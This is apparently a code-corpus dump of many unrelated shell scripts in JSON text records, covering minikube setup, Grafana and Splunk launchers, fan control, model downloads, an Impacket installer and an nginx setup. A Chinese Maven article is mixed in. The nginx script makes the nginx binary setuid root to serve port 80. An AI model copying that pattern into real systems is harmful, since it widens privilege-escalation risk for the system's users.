${HAMPATH}/cur/*\n\tfi\n}\n\nif [ \"$PROCESS_ALL_USERS\" -eq 1 ]; then\n\tfor maildir in `ls -d ${DOMAINS_DIR}/*/*/Maildir 2>/dev/null`; do\n\t{\n\t\tDOMAIN=$(echo $maildir | $SED -e \"s|^${DOMAINS_DIR}/\\(.*\\)/.*/Maildir|\\1|\")\n\t\t USER=$(echo $maildir | $SED -e \"s|^${DOMAINS_DIR}/.*/\\(.*\\)/Maildir|\\1|\")\n\t\trun $maildir\n\t};\n\tdone;\nelif [ -e ${DOMAINS_DIR}/${DOMAIN}/${USER}/Maildir ]; then\n\trun ${DOMAINS_DIR}/${DOMAIN}/${USER}/Maildir\nfi\n\n\necho\necho \"syncing...\";\n$SA_LEARN_CMD --sync\n\necho\necho \"current status:\"\n$SA_LEARN_CMD --dump magic\n\nexit 0;"} {"text": "push_subtrees.sh1-10\n#!/bin/bash\ngit subtree push --prefix classes/db_stuff ~/git/php/db_stuff.git master"} {"text": "sidhshar/istio\n#!/usr/bin/env bash\n\nexport K8S_VER=${K8S_VER:-v1.9.2}\n\nif [ ! -f /usr/local/bin/minikube ]; then\n curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.22.3/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/\nfi\nif [ ! -f /usr/local/bin/kubectl ]; then\n curl -Lo kubectl https://storage.googleapis.com/kubernetes-release/release/v1.7.4/bin/linux/amd64/kubectl && chmod +x kubectl && sudo mv kubectl /usr/local/bin/\nfi\n\n\nexport KUBECONFIG=${KUBECONFIG:-$GOPATH/minikube.conf}\n\nfunction waitMinikube() {\n set +e\n kubectl cluster-info\n # this for loop waits until kubectl can access the api server that Minikube has created\n for i in {1..150}; do # timeout for 5 minutes\n kubectl get po &> /dev/null\n if [ $? -ne 1 ]; then\n break\n fi\n sleep 2\n done\n kubectl get svc --all-namespaces\n echo \"Minikube is running\"\n}\n\n\n# Requires sudo ! Start real kubernetes minikube with none driver\nfunction startMinikubeNone() {\n export MINIKUBE_WANTUPDATENOTIFICATION=false\n export MINIKUBE_WANTREPORTERRORPROMPT=false\n export MINIKUBE_HOME=$HOME\n export CHANGE_MINIKUBE_NONE_USER=true\n sudo -E minikube start \\\n --extra-config=apiserver.Admission.PluginNames=\"Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,GenericAdmissionWebhook,ResourceQuota\" \\\n --kubernetes-version=v1.7.5 --vm-driver=none\n sudo -E minikube update-context\n sudo chown -R $(id -u) $KUBECONFIG $HOME/.minikube\n}\n\nfunction stopMinikube() {\n sudo minikube stop\n}\n\ncase \"$1\" in\n start) startMinikubeNone ;;\n stop) stopMinikube ;;\n wait) waitMinikube ;;\nesac"} {"text": "#!/usr/bin/env bash\n\nCURRENT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nsource \"$CURRENT_DIR/helpers.sh\"\n\nSESSIONS_DIR=\"$(sessions_dir)\"\nTIMEOUT=\"$(tmux_option \"@browser_wait_timeout\" \"5.0\")\"\n\ncurrent_session=$(tmux display-message -p '#S')\n# Using localhost to don't query any web browser\ntab_id_name=localhost:1212/dont_close-tmux-browser_$current_session\n\nfocus_tabid_window()\n{\n\tif ! command -v wmctrl &> /dev/null\n\tthen\n\t\treturn\n\tfi\n\n\twindow_id=$1\n\tactive_window_title=$(bt query +active -windowId $window_id | cut -f2)\n\techo $TIMEOUT\n\twmctlr_window_id=$(timeout $TIMEOUT \"$CURRENT_DIR/wait_for_active_window.sh\" $active_window_title)\n\tif [ -z \"$wmctlr_window_id\" ]; then\n\t\ttmux display \"[ERROR] Active window not found, not jumping.\"\n\t\texit 0\n\tfi\n\twmctrl -i -R $wmctlr_window_id\n}\n\ntmux display \"[INFO] tmux-browser: Opening Browser!\"\nbt_list=$(bt list)\nif echo \"$bt_list\" | grep -q \"$tab_id_name$\"; then\n\ttmux display \"[INFO] Session is already running!\"\n\twindow_id=$(echo \"$bt_list\" | cut -f1,3 | grep \"$tab_id_name$\" | cut -f2 -d \".\")\n\tfocus_tabid_window $window_id\n\texit 0\nfi\n\n# TODO: pin the tab\neval \"$(tmux_option \"@new_browser_window\" \"screen -dm -- firefox --new-window\")\" \"http://$tab_id_name\"\nwindow_id=$(timeout $TIMEOUT \"$CURRENT_DIR/wait_for_new_window.sh\" $tab_id_name)\n\nif [ -z \"$window_id\" ]; then\n\ttmux display \"[ERROR] Web browser window didnt found\"\n\texit 0\nfi\n\nif [[ $(echo $window_id | tr -cd ' \\t' | wc -c) != '0' ]]; then\n\ttmux display \"[ERROR] Multiple windows with the same tab id name: $tab_id_name\"\n\texit 0\nfi\n\nif [ -f \"$SESSIONS_DIR/$current_session\" ]; then\n\ttmux display \"Restoring from $SESSIONS_DIR/$current_session\"\n\tbt open $window_id < \"$SESSIONS_DIR/$current_session\"\nelse\n\ttmux display \"New Browser Opened\"\nfi\n\nwindow_id=$(echo $window_id | cut -f2 -d \".\")\nfocus_tabid_window $window_id\nexit 0"} {"text": "#!/bin/bash\n\n# shellcheck disable=SC1091\n\nset -o errexit\nset -o nounset\nset -o pipefail\n# set -o xtrace # Uncomment this line for debugging purpose\n\n# Load Grafana environment\n. /opt/bitnami/scripts/grafana-env.sh\n\n# Load libraries\n. /opt/bitnami/scripts/libos.sh\n. /opt/bitnami/scripts/liblog.sh\n\ndeclare cmd=\"grafana-server\"\ndeclare -a args=(\n # Based on https://github.com/grafana/grafana/blob/v8.2.5/packaging/docker/run.sh\n \"--homepath=${GF_PATHS_HOME}\"\n \"--config=${GF_PATHS_CONFIG}\"\n \"--packaging=docker\"\n \"$@\"\n \"cfg:default.log.mode=console\"\n \"cfg:default.paths.data=${GF_PATHS_DATA}\"\n \"cfg:default.paths.logs=${GF_PATHS_LOGS}\"\n \"cfg:default.paths.plugins=${GF_PATHS_PLUGINS}\"\n \"cfg:default.paths.provisioning=${GF_PATHS_PROVISIONING}\"\n)\n\ncd \"$GRAFANA_BASE_DIR\"\n\ninfo \"** Starting Grafana **\"\nif am_i_root; then\n exec gosu \"$GRAFANA_DAEMON_USER\" \"$cmd\" \"${args[@]}\"\nelse\n exec \"$cmd\" \"${args[@]}\"\nfi"} {"text": "BernLeWal/raskeytar_webapprun-python.sh\n#!/bin/bash\ndocker rm raskeytarapp1 >/dev/null\ndocker run -t -d -p 8080:8080 --name raskeytarapp1 raskeytarapp-python\necho Container named raskeytarapp1 started\necho .\necho Open http://127.0.0.1:8080/ in your browser.\necho .\necho Run \"docker stop raskeytarapp1\" to shutdown container."} {"text": "#!/usr/bin/env bash\n# Runs instrumentation tests on firebase. Must be run locally, not on travis.\n#\n# Usage:\n# ./scripts/run_instrumentation_test.sh\n\n./gradlew :instrumentation:assembleDebug :instrumentation:assembleDebugAndroidTest --parallel\n\napk_dir=instrumentation/build/outputs/apk\ngcloud firebase test android run \\\n --type instrumentation \\\n --app $apk_dir/instrumentation-debug.apk \\\n --test $apk_dir/instrumentation-debug-androidTest.apk \\\n --device model=Nexus6P,version=26,locale=en,orientation=portrait \\\n --device model=Nexus6P,version=25,locale=en,orientation=portrait \\\n --device model=Nexus6P,version=23,locale=en,orientation=portrait \\\n --device model=Nexus6,version=22,locale=en,orientation=portrait \\\n --device model=Nexus5,version=19,locale=en,orientation=portrait \\\n --project android-glide \\\n --no-auto-google-login"} {"text": "clean_and_build.sh\n#!/bin/sh\nrm -r ./build\nsh ./build.sh"} {"text": "0\n#!/bin/bash\n\nfunction read_current_cpu_temperature() {\n #echo `sensors | grep temp1 | sed 1d | awk '{print $2}' | cut -c 2-3`\n echo `sensors | grep Tdie | awk '{print $2}' | cut -c 2-3`\n}\n\nfunction read_current_liquid_temperature() {\n var=$(colctl -s | grep liquid | cut -d' ' -f2)\n echo ${var%.*}\n}\n\nfunction get_best_fan_speed() {\n current_cpu_temp=$(read_current_cpu_temperature)\n current_liqiod_temp=$(read_current_liquid_temperature)\n \n if (( ${current_cpu_temp} >= 75 )); then\n\tfan_speed=100\n elif (( ${current_cpu_temp} >= 70 )); then\n\tfan_speed=100\n elif (( ${current_cpu_temp} >= 65 )); then\n\tfan_speed=100\n elif (( ${current_cpu_temp} >= 60 )); then\n\tfan_speed=100\n elif (( (${current_cpu_temp} >= 55) || (${current_liquid_temp} >= 40))); then\n\tfan_speed=100\n elif (( (${current_cpu_temp} >= 55) || (${current_liquid_temp} >= 38))); then\n\tfan_speed=75\n elif (( ${current_cpu_temp} >= 50 )); then\n\tfan_speed=50\n elif (( (${current_cpu_temp} >= 30) || (${current_liquid_temp} >= 35))); then\n\tfan_speed=50\n else\n\tfan_speed=25\n fi\n \n echo $fan_speed\n}\n\nfunction get_best_pump_speed() {\n current_cpu_temp=$(read_current_cpu_temperature)\n current_liquid_temp=$(read_current_liquid_temperature)\n \n if (( ${current_cpu_temp} >= 75 )); then\n\tpump_speed=100\n elif (( ${current_cpu_temp} >= 70 )); then\n\tpump_speed=100\n elif (( ${current_cpu_temp} >= 60 )); then\n\tpump_speed=100\n elif (( ${current_cpu_temp} >= 40 )); then\n\tpump_speed=75\n elif (( (${current_cpu_temp} >= 35) || (${current_liquid_temp} >= 35))); then\n\tpump_speed=75\n else\n\tpump_speed=75\n fi\n \n echo $pump_speed\n}\n\nfunction set_fan_and_pump_speed() {\n echo \"Setting fan speed to $1 and pump speed to $2\"\n colctl -fs $1 -ps $2\n echo\n}\n\ndie() {\n echo \"$@\" 1>&2 \n exit 1\n}\n\nSTEP_DELAY_SECONDS=2\n\nfunction fan_control {\n FAN_STATUS=\"on\"\n while [ true ];\n do\n\tcurrent_cpu_temp=$(read_current_cpu_temperature)\n\tcurrent_liquid_temp=$(read_current_liquid_temperature)\n\t\n\techo \"Current CPU temperature $current_cpu_temp\"\n\techo \"Current liquid temperature $current_liquid_temp\"\n\t\n\tbest_fan_speed=$(get_best_fan_speed)\n\tbest_pump_speed=$(get_best_pump_speed)\n\t\n\tset_fan_and_pump_speed $best_fan_speed $best_pump_speed\n\n\tsleep $STEP_DELAY_SECONDS\n done\n}\n\nfan_control"} {"text": "#!/bin/bash\necho \"\" > results/efficiency.txt\nfor i in `seq $1`; do\n\t#Generates a random stimulus order\n\tRSFgen \\\n\t-nt 300 \\\n\t-num_stimts 3 \\\n\t-nreps 1 20 \\\n\t-nreps 2 20 \\\n\t-nreps 3 20 \\\n\t-seed $i \\\n\t-prefix times/stim_${i}_\n\t#Converts the RSFgen output to times\n\tmake_stim_times.py \\\n\t-files times/stim_${i}_*.1D \\\n\t-prefix stimt_${i} \\\n\t-nt 300 \\\n\t-tr 1 \\\n\t-nruns 1\n\t#Evaluates the design using 3dDeconvolve (redirecting the output to a file)\n\t3dDeconvolve -nodata 300 1 -polort 1 \\\n\t-num_stimts 3 \\\n\t-stim_times 1 times/stimt_${i}.01.1D 'GAM' -stim_label 1 'A' \\\n\t-stim_times 2 times/stimt_${i}.02.1D 'GAM' -stim_label 2 'B' \\\n\t-stim_times 3 times/stimt_${i}.03.1D 'GAM' -stim_label 3 'C' \\\n\t-gltsym \"SYM: A -B\" -gltsym \"SYM: A -C\" \\\n\t> times/RSFgen_output_${i}.txt\n\t#-xjpeg times/design_${i}.png \\\n\t\n\t#Runs the provided efficiency_parser.py script on the 3dDeconvolve output file. \n\t\t#This script will parse the 3dDeconvolve ouptut and print out the average efficiency of any \n\t\t#contrasts you have specified.\n\tefficiency=`scripts/efficiency_parser.py times/RSFgen_output_${i}.txt`\n\t#Prints out two columns for each design, the first containing the efficiency and the second containing the seed\n\t\t#Hint: Use `` to store the output efficiency_parser.py in a variable\n\t\t#You can print the required values with something like echo \"$efficiency $i\"\n\techo \"$efficiency $i\" >> results/efficiency.txt\n\ndone"} {"text": "scripts/aarch64-linux-gnu-clang.sh\n#!/bin/bash\n\nclang --target=aarch64-linux-gnu \"$@\""} {"text": "#!/bin/bash\n\nset -e\n\necho OPTIMISTIC_ABOUT_FILE_LOCKING = 1 >> ${SPLUNK_HOME_TCP}/etc/splunk-launch.conf\necho OPTIMISTIC_ABOUT_FILE_LOCKING = 1 >> ${SPLUNK_HOME_SSL}/etc/splunk-launch.conf\n\nSPLUNK_HOME=$SPLUNK_HOME_TCP sudo -HEu ${SPLUNK_USER} ${SPLUNK_HOME_TCP}/bin/splunk start --accept-license\nSPLUNK_HOME=$SPLUNK_HOME_SSL sudo -HEu ${SPLUNK_USER} ${SPLUNK_HOME_SSL}/bin/splunk start --accept-license\n\n# Trap exit signal and shutdown gracefully\ntrap \"sudo -HEu ${SPLUNK_USER} ${SPLUNK_HOME_TCP}/bin/splunk stop; sudo -HEu ${SPLUNK_USER} ${SPLUNK_HOME_SSL}/bin/splunk stop\" SIGINT SIGTERM EXIT\n\nsudo -HEu ${SPLUNK_USER} tail -n 0 -f ${SPLUNK_HOME_TCP}/var/log/splunk/splunkd_stderr.log &\nwait"} {"text": "#PBS -A PAA0028\n#PBS -l walltime=01:00:00\n#PBS -l nodes=1:ppn=40 -q debug\n#PBS -N si_job_name\n#PBS -e job.err\n#PBS -o job.out\n#PBS -S /bin/bash\n\necho \"The current hostname is $HOSTNAME\"\n\necho \"The current working directory is $(pwd)\"\necho \"Switching to the working directory $PBS_O_WORKDIR\" \ncd $PBS_O_WORKDIR\n\necho \"switching compiler chain\"\necho \"module load intel/19.0.5\"\nmodule load intel/19.0.5\necho \"module load intelmpi/2019.3\"\nmodule load intelmpi/2019.3\n\necho \"VASP_STD_BIN=$VASP_STD_BIN\"\nmpiexec $VASP_STD_BIN"} {"text": "MikalDev/babylon-sprite\ncd ./src\nzip -r ../dist/BabylonModel$1.c3addon *\ncd .."} {"text": "#!/bin/bash\nset -e\nfor FILE in $(ls test/*.js); do\n echo -n \"${FILE: 0: ${#FILE}-3}..\"\n ./rusttojs ${FILE: 0: ${#FILE}-3}.rs|diff - ${FILE}\n echo \"OK\"\ndone"} {"text": "HFauto/CNStream\n#!/bin/bash\nCURRENT_DIR=$(cd $(dirname ${BASH_SOURCE[0]});pwd)\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/neuware/lib64/\n\nsrc_dir=\"$CURRENT_DIR/../../data\"\nmodels_dir=\"$CURRENT_DIR/../../data/models\"\ndst_dir=\"$CURRENT_DIR/src/webui/static\"\npushd $dst_dir\n if [ ! -d $dst_dir/data ]; then\n echo \"generate source data\"\n mkdir data\n cp $src_dir/videos/cars.mp4 data/\n cp $src_dir/videos/1080P.h264 data/\n else\n if [ ! -f $dst_dir/data/cars.mp4 ]; then\n echo \"copy cars.mp4\"\n cp $src_dir/videos/cars.mp4 data/\n fi\n if [ ! -f $dst_dir/data/1080P.h264 ]; then\n echo \"copy 1080P.h264\"\n cp $src_dir/videos/1080P.h264 data/\n fi\n fi\n\n pushd $models_dir\n resnet50_model_name=\"resnet50_b16c16_bgra_mlu270.cambricon\"\n resnet50_label_name=\"synset_words.txt\"\n if [ ! -f $resnet50_model_name ]; then\n echo \"download renset50\"\n wget -O $resnet50_model_name http://video.cambricon.com/models/MLU270/Classification/resnet50/resnet50_offline_v1.3.0.cambricon\n fi\n if [ ! -f $resnet50_label_name ]; then\n echo \"download renset50 label\"\n wget -O $resnet50_label_name http://video.cambricon.com/models/MLU270/Classification/resnet50/synset_words.txt\n fi\n ssd_model_name=\"resnet34_ssd_b16c16_mlu270.cambricon\"\n ssd_label_name=\"label_voc.txt\"\n if [ ! -f $ssd_model_name ]; then\n echo \"download ssd\"\n wget -O $ssd_model_name http://video.cambricon.com/models/MLU270/Primary_Detector/ssd/resnet34_ssd.cambricon\n fi\n if [ ! -f $ssd_label_name ]; then\n echo \"download ssd label\"\n wget -O $ssd_label_name http://video.cambricon.com/models/MLU270/Primary_Detector/ssd/label_voc.txt\n fi\n yolov3_model_name=\"yolov3_b4c4_argb_mlu270.cambricon\"\n yolov3_label_name=\"label_map_coco.txt\"\n if [ ! -f $yolov3_model_name ]; then\n echo \"download yolov3\"\n wget -O $yolov3_model_name http://video.cambricon.com/models/MLU270/yolov3/yolov3_4c4b_argb_270_v1.5.0.cambricon\n fi\n if [ ! -f $yolov3_label_name ]; then\n echo \"download yolov3 label\"\n wget -O $yolov3_label_name http://video.cambricon.com/models/MLU270/yolov3/label_map_coco.txt\n fi\n feature_extract_model_name=\"feature_extract_for_tracker_b4c4_argb_mlu270.cambricon\"\n if [ ! -f $feature_extract_model_name ]; then\n echo \"download feature extract model\"\n wget -O $feature_extract_model_name http://video.cambricon.com/models/MLU270/feature_extract/feature_extract_4c4b_argb_270_v1.5.0.cambricon\n fi\n popd\n\n pushd $dst_dir\n if [ -d \"models\" ]; then\n rm -rf \"models\"\n fi\n ln -s $src_dir\"/models\" .\n popd\npopd\n\nstart_webserver() {\npushd src\n gunicorn -c ../webserver_config.py wsgi:app\npopd\n}\n\nstart_webserver"} {"text": "code/player.sh\n#!/bin/bash\n\n# LIBRARIES (SORTA)\n. code/manager.sh\n\nfor f in $PiRadio_DIR/music/\"$PiRadio_name\"/*\ndo\n\tclear\n\tPiRadio_file=$(basename \"$f\")\n\texport PiRadio_file\n\tfreqUsed\n\techo\n\t$PiRadio_DIR/fm_transmitter-master/fm_transmitter -f $PiRadio_freq -r \"$f\"\t\t# STARTS A NEW SCREEN AND THEN STARTS RADIO IN $freq WITH $f SONG\ndone\nunset PiRadio_file\nexit"} {"text": "if [[ -f /usr/local/bin/dayone2 ]] ; then\n alias dayo=\"/usr/local/bin/dayone2\"\n alias dayone=\"/usr/local/bin/dayone2\"\nfi"} {"text": "0\n#!/bin/sh\n\n# 卸载老版本\n\nyum remove -y kube-proxy\n\nyum remove -y kubelet\n\nyum remove -y kube-scheduler\n\nyum remove -y kube-controller-manager\n\nyum remove -y kube-apiserver\n\nyum remove -y flanneld\n\nyum remove -y etcd\n\nyum remove -y docker"} {"text": "Sephta/stal-vpet-rpg\ncd ./client;\nnpm run start;"} {"text": "run_gles_trace.sh\n#!/bin/sh\nset -e\nset -x\n\nif [ $# = 0 ]; then\n echo \"[usage] run_gles_trace.sh /path/to/gles_app\"\n exit 1\nfi\n\n# ------------------------------------------------------------------\n# If application doesn't link \"libEGL.so\" (probably application use dlopen(\"libEGL.so\"))\n# fake \"libEGL.so\" and \"libGLESv2.so\" (symbolic linked to libGLEStrace.so)\n# must be placed on the first place of LD_LIBRARY_PATH.\n#\n# $ ./run_gles_trace.sh /path/to/gles_app\n# ------------------------------------------------------------------\n\nexport GLES_TRACE_DIR=`dirname $(realpath $0)`\n\nln -f -s ${GLES_TRACE_DIR}/libGLEStrace.so ${GLES_TRACE_DIR}/libEGL.so\nln -f -s ${GLES_TRACE_DIR}/libGLEStrace.so ${GLES_TRACE_DIR}/libEGL.so.1\nln -f -s ${GLES_TRACE_DIR}/libGLEStrace.so ${GLES_TRACE_DIR}/libEGL.so.1.0.0\nln -f -s ${GLES_TRACE_DIR}/libGLEStrace.so ${GLES_TRACE_DIR}/libGLESv2.so\nln -f -s ${GLES_TRACE_DIR}/libGLEStrace.so ${GLES_TRACE_DIR}/libGLESv2.so.2\nln -f -s ${GLES_TRACE_DIR}/libGLEStrace.so ${GLES_TRACE_DIR}/libGLESv2.so.2.0.0\n\nexport LD_LIBRARY_PATH=${GLES_TRACE_DIR}/:$LD_LIBRARY_PATH\n\n\nif [ -e /usr/lib/aarch64-linux-gnu/libEGL.so ]; then\n export GLES_TRACE_REAL_LIBEGL=/usr/lib/aarch64-linux-gnu/libEGL.so\n export GLES_TRACE_REAL_LIBGLES=/usr/lib/aarch64-linux-gnu/libGLESv2.so\nelif [ -e /usr/lib/aarch64-linux-gnu/libEGL.so ]; then\n export GLES_TRACE_REAL_LIBEGL=/usr/lib/x86_64-linux-gnu/libEGL.so\n export GLES_TRACE_REAL_LIBGLES=/usr/lib/x86_64-linux-gnu/libGLESv2.so\nelse\n export GLES_TRACE_REAL_LIBEGL=/usr/lib/libEGL.so\n export GLES_TRACE_REAL_LIBGLES=/usr/lib/libGLESv2.so\nfi\n\n\n#-------------------\n# Customize options\n#-------------------\nexport GLES_TRACE_LOG_FILE=\"trace_log.txt\"\n\nexport GLES_TRACE_CAPTURE_ON_DRAW=1\nexport GLES_TRACE_CAPTURE_ON_SWAP=1\nexport GLES_TRACE_DUMP_TEXTURE=1\nexport GLES_TRACE_GETERROR_ON_DRAW=1\nexport GLES_TRACE_GETERROR_ON_SWAP=1\nexport GLES_TRACE_FORCE_LINE_RENDER=0\n\n#export GLES_TRACE_FORCE_GL_VERSION=\"OpenGL ES 2.0\"\n#export GLES_TRACE_FORCE_GL_VENDOR=\"Dummy vendor\"\n#export GLES_TRACE_FORCE_GL_RENDERER=\"Dummy renderer\"\n#export GLES_TRACE_FORCE_GL_EXTENSIONS=\"Dummy_extension\"\n\n\n# -------------\n# launch app\n# -------------\n$@"} {"text": "#!/bin/bash\nsysctl -w net.ipv4.conf.all.forwarding=1\nsysctl -w net.ipv4.conf.all.rp_filter=0\nip address add 172.16.58.3/24 dev eth0\nsysctl -w net.ipv4.conf.eth0.forwarding=1\nsysctl -w net.ipv4.conf.eth0.rp_filter=0\nsysctl -w net.ipv6.conf.eth0.disable_ipv6=1\nsysctl -w net.ipv6.conf.eth0.autoconf=0\n\nip link set eth0 up"} {"text": "0\n# installs Impacket\n\ncd /tmp\ntar -xvf /tmp/impacket-latest.tar.gz\nrm impacket-latest.tar.gz\nimpacket_dir=$(ls -d */ | grep impacket)\ncd $impacket_dir\npython3 setup.py install"} {"text": "kimwinther/sipsorcery\necho 'webrtcecho release deploy script starting...'\npwd\n\necho \"AGENT_RELEASEDIRECTORY=$AGENT_RELEASEDIRECTORY\"\necho \"BUILD_DEFINITIONNAME=$BUILD_DEFINITIONNAME\"\necho \"RELEASE_PRIMARYARTIFACTSOURCEALIAS=$RELEASE_PRIMARYARTIFACTSOURCEALIAS\"\n\nsudo systemctl stop webrtcecho\nsudo cp -r \"$RELEASE_PRIMARYARTIFACTSOURCEALIAS\"/drop/* /opt/webrtcecho\nsudo systemctl start webrtcecho\necho 'webrtcecho release deploy script finished.'"} {"text": "filecoin-project/bacalhau\n#!/bin/bash\nset -xeuo pipefail\nexport DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nexport IMAGE=${IMAGE:-binocarlos/bacalhau-ignite-image:latest}\n\ndocker build -t $IMAGE $DIR/../docker/ignite-image\ndocker push $IMAGE"} {"text": "#!/bin/bash\n\n# This script creates PVRTC textures from all of the PNG's.\n# It will upscale to POT if needed and convert the image to 32 bit PNG.\n# It also creates the list of filename's with scaling in scalefactors.txt\n# The resulting TC2 or TC4 files should be copied to data/textures/pvr\n# The scalefactors.txt should be copied to data/textures/pvr\n\npowerof2 () {\n # Get the original size of the image\n W=`identify ${f} | cut -f 3 -d \" \" | sed s/x.*//`\n H=`identify ${f} | cut -f 3 -d \" \" | sed s/.*x//`\n\n # Determine the next power of 2 greater the original image size\n P2W=`convert ${f} -format \"%[fx:2^(ceil(log(w)/log(2)))]\" info:`\n P2H=`convert ${f} -format \"%[fx:2^(ceil(log(h)/log(2)))]\" info:`\n if test $P2W -lt 32; then\n P2W=32\n fi\n if test $P2H -lt 32; then\n P2H=32\n fi\n\n # Calculate the ratio size increase\n FACTOR_W=$(echo \"scale=3; $W/$P2W\" | bc -l )\n FACTOR_H=$(echo \"scale=3; $H/$P2H\" | bc -l )\n\n # Remove the file extentsion\n FILENAME=${f%.*}\n \n # Display and write the results to file\n echo Width ${FILENAME} ${FACTOR_W} ${W} ${P2W}\n echo Height ${FILENAME} ${FACTOR_H} ${H} ${P2W}\n echo ${FILENAME} ${FACTOR_W} ${FACTOR_H} >> ${TYPE2}/scalefactors.txt\n echo ${FILENAME} ${FACTOR_W} ${FACTOR_H} >> ${TYPE4}/scalefactors.txt\n} \n\nexport DATA=\"data/textures\"\nexport TEX=\"tc\"\nexport TYPE2=${TEX}\"/pvrtc2\"\nexport TYPE4=${TEX}\"/pvrtc4\"\nexport PNG32=${TEX}\"/png32\"\n\ncd ../${DATA}\nrm -rf ${TYPE2}\nrm -rf ${TYPE4}\nrm -rf ${PNG32}\nmkdir ${TEX}\nmkdir ${TYPE2}\nmkdir ${TYPE4}\nmkdir ${PNG32}\n\nfor f in *.png\ndo\n echo \"Processing $f file...\"\n \n powerof2\n \n convert ${f} -alpha on -extent ${P2W}x${P2H} PNG32:${PNG32}/${f} \n\n ${PVRTEXTOOL}/PVRTexTool -fPVRTC2 -i${PNG32}/${f} -o ${TYPE2}/${f}.pvr\n ${PVRTEXTOOL}/PVRTexTool -fPVRTC4 -i${PNG32}/${f} -o ${TYPE4}/${f}.pvr\ndone"} {"text": "aather/abyss10-100\n#!/bin/bash\n\nwhile :\ndo\n\tnohup ./tcpstats.pl\n\tsleep 5\n\techo \"Restarting tcpstats.pl\"\ndone"} {"text": "# -*- Shell-script -*-\n\nif [ ! -z \"${DOTFILES_STARTED_SSH_AGENT}\" ] && [ ! -z \"${SSH_AGENT_PID}\" ]; then\n ssh-agent -k >/dev/null 2>/dev/null\nfi\n\nif [ ! -z \"${DOTFILES_SSH_ADDED_FILE}\" ]; then\n command rm -f \"${DOTFILES_SSH_ADDED_FILE}\"\nfi"} {"text": "jimb245/scriptremote\n#!/bin/bash\n#\n# Test SR_LOCATIONS_PER_JOB == 4\n#\n\nset -x\n\n. \"$BATSDIR\"/srio.sh\n. \"$BATSDIR\"/srutil.sh\ncd \"$BATSDIR\"/set3\n\nSR_start \"$SRUSER\" \"$SRTOKEN\" 'TEST(set3)-Project3' 'Job'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_set 'a1' 'Hello World' 'false'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_send 'Location1'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_set 'a2' 'Hello World' 'false'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_send 'Location2'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_set 'a3' 'Hello World' 'false'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_send 'Location3'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_set 'a4' 'Hello World' 'false'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_send 'Location4'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\n\nSR_set 'a5' 'Hello World' 'false'\nif [ $? != 0 ]\nthen\n exit 1\nfi\n\nSR_send 'Location5'\nif [ $? == 0 ]\nthen\n exit 1\nfi\n\nSR_delete_project\nexit 0"} {"text": "benniao1996/1996\nLinux 安装 Maven\n\n \nMaven, 是基于项目对象模型(Project Object Model, POM),通过一小段描述信息来管理项目的构建,报告,文档的软件项目管理工具。\n\n目前,绝大多数开发人员都把 Ant 当作 Java 编程项目的标准构建工具。但是,Ant 的项目管理工具(作为 make的替代工具)不能满足绝大多数开发人员的需要。通过检查 Ant 构建文件,很难发现项目的相关性信息和其它元信息(如开发人员/拥有者、版本或站点主页)。\n\nMaven 除了以程序构建能力为特色之外,还提供 Ant 所缺少的高级项目管理工具。由于 Maven 的缺省构建规则有较高的可重用性,所以常常用两三行 Maven 构建脚本就可以构建简单的项目,而使用 Ant 则需要十几行。事实上,由于 Maven 的面向项目的方法,许多 Apache Jakarta 项目现在使用 Maven,而且公司项目采用 Maven 的比例在持续增长。\n\nMaven这个单词来自于意第绪语,意为知识的积累,最早在Jakata Turbine项目中它开始被用来试图简化构建过程。当时有很多项目,它们的Ant build文件仅有细微的差别,而JAR文件都由CVS来维护。于是Maven创始者开始了Maven这个项目,该项目的清晰定义包括,一种很方便的发布项目信息的方式,以及一种在多个项目中共享JAR的方式。\n\n\nMaven 和 Ant 有什么不同呢?\n\nAnt 为 Java 技术开发项目提供跨平台构建任务\n\nMaven 本身描述项目的高级方面,它从 Ant 借用了绝大多数构建任务\n\n​\n\nMaven\n\nAnt\n\n标准构建文件\n\nproject.xml 和 maven.xml\n\nbuild.xml\n\n特性处理顺序\n\n${maven.home}/bin/driver.properties\n\n${project.home}/project.properties\n\n${project.home}/build.properties\n\n${user.home}/build.properties\n\n通过 -D 命令行选项定义的系统特性,最后一个定义起决定作用。\n\n通过 -D 命令行选项定义的系统特性\n\n由 任务装入的特性\n\n第一个定义最先被处理。\n\n构建规则\n\n构建规则更为动态(类似于编程语言);它们是基于 Jelly 的可执行 XML。\n\n构建规则或多或少是静态的,除非使用 \n\n\nEOT\n\n # Add the fancyindex file to dynamic configuration\n NGINX_DYNAMIC_CONFIG+=('fancyindex.dynamic.conf')\nfi\n\n# Install nginx full, with its external dependencies met and the required options\nbrew install nginx-full ${NGINX_OPTIONS[*]};\n\n# Output state message\necho \"> Configuring ...\"\n\n# Configure nginx to be run on port 80 without the need to sudo\nsudo chown root:wheel /usr/local/opt/nginx-full/bin/nginx\nsudo chmod u+s /usr/local/opt/nginx-full/bin/nginx\n\n# Make a copy of the original installed nginx, and move the one provided by this module\n# into it's place. Create all of the directories this new file references to avoid any\n# errors on start.\nmv /usr/local/etc/nginx/nginx.conf /usr/local/etc/nginx/nginx.conf.orig\ncp $APP_ROOT/assets/nginx/nginx.conf /usr/local/etc/nginx/nginx.conf\nmkdir -p /usr/local/var/log/nginx\nmkdir -p /usr/local/etc/nginx/modules\nmkdir -p /usr/local/etc/nginx/servers\n\n# Process all of the nginx configuration assets provided by this package\n# Each configuration file is processed, environment variables are substituted for actual\n# values and moved into the nginx installation directory\nfor file in $APP_ROOT/assets/nginx/*/*.conf; do\n # Handle dynamic config files\n # If a file is dynamic it will be skipped unless added to the NGINX_DYNAMIC_CONFIG array\n if [[ $file == *.dynamic.conf ]] && ! array_contains $(basename $file) \"${NGINX_DYNAMIC_CONFIG[@]}\"; 